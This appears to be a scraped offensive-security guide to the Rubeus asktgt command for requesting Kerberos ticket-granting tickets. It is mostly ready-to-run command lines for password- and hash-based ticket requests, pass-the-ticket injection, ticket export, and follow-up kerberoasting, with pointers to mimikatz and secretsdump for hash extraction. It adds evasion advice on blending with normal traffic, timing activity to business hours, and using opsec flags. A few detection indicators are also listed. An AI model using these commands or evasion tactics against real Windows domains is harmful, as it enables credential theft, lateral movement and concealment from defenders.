Request Ticket Granting Tickets (TGTs) from the domain controller using various authentication methods. The asktgt command is the foundation of most Kerberos operations and supports multiple authentication mechanisms for maximum flexibility.
Password Auth
Use plaintext passwords for standard authentication
[!] Unhandled Rubeus exception:System.ComponentModel.Win32Exception: The network path was not found at Rubeus.Networking.SendBytes(String server, Int32 port, Byte[] data) at Rubeus.Ask.TGT(String userName, String domain, String password)
Common error scenarios and troubleshooting:
Network path not found: DC unreachable or DNS issues
# Save TGT to fileRubeus.exe asktgt /user:admin /password:Password123! /outfile:admin.kirbi# Apply TGT immediatelyRubeus.exe asktgt /user:admin /rc4:hash /ptt# Both save and applyRubeus.exe asktgt /user:admin /password:Password123! /outfile:admin.kirbi /ptt
# Use AES encryption and evasion techniquesRubeus.exe asktgt /user:admin /password:Password123! /opsec# Specific encryption typeRubeus.exe asktgt /user:admin /password:Password123! /enctype:AES256# Target specific domain controllerRubeus.exe asktgt /user:admin /password:Password123! /dc:dc01.corp.local
# Generate hashes if you have passwordsRubeus.exe hash /password:Password123! /user:admin /domain:corp.local# Or use extracted hashes from other tools# mimikatz, secretsdump, etc.
2
TGT Request
Request the initial TGT using your chosen authentication method:
# Choose based on available credentialsRubeus.exe asktgt /user:admin /rc4:hash /outfile:admin.kirbi /ptt
3
Verification
Verify the TGT was successfully obtained and applied:
# List current ticketsRubeus.exe klist# Describe the TGTRubeus.exe describe /ticket:admin.kirbi
4
Follow-up Operations
Use the TGT for subsequent operations:
# Request service ticketsRubeus.exe asktgs /service:cifs/fileserver.corp.local# Perform kerberoastingRubeus.exe kerberoast
Encryption downgrade indicators (RC4 in AES environments)
Show Host-Based Indicators
Non-standard processes issuing Kerberos requests
Unusual API usage patterns
Memory access to LSASS (for ticket injection)
Hide Blend with Normal Traffic
# Use AES encryption to match modern environmentsRubeus.exe asktgt /user:admin /password:Password123! /enctype:AES256# Use OPSEC flag for additional protectionsRubeus.exe asktgt /user:admin /password:Password123! /opsec
Show Timing Considerations
Perform operations during business hours
Implement delays between requests
Match normal authentication patterns
Avoid bulk or automated patterns
Show Technical Evasion
# Use legitimate certificates when possibleRubeus.exe asktgt /user:admin /certificate:legitimate.pfx# Target specific DCs to avoid load balancersRubeus.exe asktgt /user:admin /password:Password123! /dc:dc01.corp.local
Symptoms: Network path not found, timeoutsSolutions:
Check DNS resolution for domain controllers
Verify firewall rules allow port 88
Test connectivity to specific DCs
Consider using KDC proxy
# Test specific DCRubeus.exe asktgt /user:admin /password:Password123! /dc:192.168.1.10# Use KDC proxyRubeus.exe asktgt /user:admin /password:Password123! /proxyurl:https://proxy.corp.local/kdcproxy
Symptoms: Clock skew detected errorsSolutions:
Synchronize system time with domain
Check time zone settings
Verify NTP configuration
# Check time synchronizationw32tm /query /status# Sync with domainw32tm /resync
